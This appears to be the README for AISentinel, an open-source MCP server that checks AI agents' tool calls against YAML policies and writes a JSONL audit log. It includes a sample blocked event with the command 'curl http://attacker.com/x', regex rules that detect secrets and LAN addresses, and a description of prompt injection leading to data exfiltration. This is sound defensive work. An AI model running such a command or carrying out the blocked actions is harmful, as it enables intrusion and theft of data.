AISentinel

The missing security, control, and observability layer for the agentic era.

Traditional security tools were built for malware. AI agents were given legitimate power through tools and APIs. AISentinel provides the missing security, control, and observability layer.

AISentinel— an open-source MCP server that protects AI agents at runtime. Built byKabzhanov / BizDNAi, the team behind theAI Trust Index.

AI agents now have shell, browsers, file systems, and API keys. They arelegitimateprocesses — antivirus cannot see them. A single indirect prompt injection in a PDF or email can pivot into mass data exfiltration through ordinary tools likeBashandEmail_send.

AISentinel closes that gap: it runs as an MCP server in front of every tool call, evaluates YAML policies, logs every decision, and ships an audit trail compatible with theAI Trust Index.

Seedocs/SECURITY_AUDIT.mdfor the full threat model.

go install github.com/Kabzhanov/AISentinel/cmd/aisentinel@latest aisentinel --help aisentinel serve

go installgives you a standalone binary — you donotneed to clone this repo or pass--policyto get started.aisentinel servewith no flags loads a built-in default policy (embedded in the binary at build time), balanced for general use: blocks obvious secrets-in-args and destructive commands, requires approval for network calls and bulk reads. To use your own policy instead, pass--policy /path/to/your.yamlor set$AISENTINEL_POLICY(seePolicy resolutionbelow).

go install github.com/Kabzhanov/AISentinel/cmd/aisentinel-sidecar@latest # Wrap any stdio MCP server with one command — no --policy required: aisentinel-sidecar ./your-mcp-server [args...]

git clone https://github.com/Kabzhanov/AISentinel.git cd AISentinel go build -o bin/aisentinel ./cmd/aisentinel go build -o bin/aisentinel-sidecar ./cmd/aisentinel-sidecar ./bin/aisentinel serve --policy policies/default.yaml

(--policy policies/default.yamlhere is explicit and optional — omitting it works too, and falls back to the same built-in default described above.)

Option D: pre-built binaries from GitHub Releases

Download fromhttps://github.com/Kabzhanov/AISentinel/releases/latest. Available forlinux/amd64,linux/arm64,darwin/amd64,darwin/arm64,windows/amd64.

{ "mcpServers": { "aisentinel": { "command": "aisentinel", "args": ["serve"] }, "aisentinel-sidecar": { "command": "aisentinel-sidecar", "args": ["--policy", "/absolute/path/to/policies/strict.yaml", "/path/to/your-mcp-server"] } } }

Then restart your MCP client and ask your agent to call any tool — AISentinel will gate every call and write a JSONL audit trail to~/.aisentinel/events-YYYY-MM-DD.jsonl.

Bothaisentinel serveandaisentinel-sidecarresolve which policy to load in this order, stopping at the first one that applies:
- --policy /path/to/file.yaml— if given, it must load; a missing or invalid file is a hard error.
- $AISENTINEL_POLICY— same contract as--policyif set.
- ./policies/default.yamlrelative to the current directory, if that file exists (this is what you get inside a clone of this repo).
- Thebuilt-in default policy, embedded in the binary at compile time. This is what makesgo install ... && aisentinel servework from any directory, with no repo checkout and no flags. When this path is used, the binary printsusing built-in default policyto stderr so it's never a silent surprise.

- Pre-tool gate— evaluate every tool call against a YAML policy (allow / block / require_human_approval / log_only).
- Audit log— append-only JSONL with a standardised event schema.
- Validate-policy— lint a YAML policy without loading it.
- Built-in policies—default,strict,audit-only(seepolicies/).
- MCP-native— works in Claude Code, Claude Desktop, Cursor, Cline, Continue.
- Zero telemetry— runs locally; no phone-home.
- Apache 2.0— permissive open source with patent grant.

- MCP stdio—aisentinel serve(Claude Code, Claude Desktop, Cursor, Cline, Continue).
- Streamable-HTTP—https://mcp.aisentinel.bizdnai.com/mcp(SaaS, OAuth via BizDNAi).
- CLI—aisentinelsubcommands (serve,validate-policy,policies,events,version).
- Library— Go packagegithub.com/Kabzhanov/AISentinel/internal/policyfor embedding.

Seepolicies/default.yamlfor the full default policy.

version: 1 name: default rules: - id: secret-in-args match: { tool_args_regex: "(?i)(api[_-]?key|secret|token|password|passwd)" } decision: block reason: "Possible secret in arguments" - id: lan-deny match: { tool_name: "Bash", tool_args_regex: "10\\.|192\\.168\\.|172\\.(1[6-9]|2\\d|3[01])\\." } decision: block reason: "LAN access blocked by default"

Match modes:tool_name,tool_name_regex,tool_args_regex,tool_args_contains. Multiple matchers AND-combine.

AISentinel generates theobservability datarequired for AI Trust Index assessments:

- Every tool call → auditable event with agent_id, session_id, decision, signals.
- Every policy decision → versioned, fingerprinted (policy_signature field).
- Every block → reason, risk_signals, ready for an ATI submission.

Runaisentinel_get_ati_snapshotto get a JSON blob ready to paste into theAI Trust Index cabinet.

- For companies that want to embed AISentinel in closed-source products without open-source compliance requirements.
- Contact:kabzhanov@gmail.com

go install github.com/Kabzhanov/AISentinel/cmd/aisentinel@latest

aisentinel version # AISentinel v1.0.6 — by Kabzhanov / BizDNAi / AI Trust Index # # go install ...@latest builds from a tagged release and embeds that # tag's version via -ldflags. A plain local go build (no -ldflags) prints # "vdev" instead — that's expected, not a bug.

# Uses the built-in default policy — no --policy needed: aisentinel serve # Or point at your own policy: aisentinel serve --policy policies/strict.yaml

aisentinel validate-policy my-policy.yaml

AISENTINEL_DRY_RUN=1 aisentinel serve --policy policies/default.yaml

Seedocs/event-schema.md. One JSON object per line in the JSONL log:

{ "event_id": "20260707T221500.000000001-1", "timestamp": "2026-07-07T22:15:00Z", "event_type": "pre_tool", "agent_id": "agent-42", "session_id": "sess-abc", "tool_name": "Bash", "tool_args": { "command": "curl http://attacker.com/x" }, "decision": "block", "policy_matched": ["bash-network"], "risk_signals": ["rule_matched:bash-network"] }

SeeCONTRIBUTING.md. By contributing you agree to license your contribution under Apache 2.0.

AISentinel is dual-licensed under Apache 2.0 and a commercial license. For commercial terms, contactkabzhanov@gmail.com.

By Kabzhanov / BizDNAi — creators of theAI Trust Index.

Build and deploy full-stack Next.js apps with 98 tools for React, AWS, and MongoDB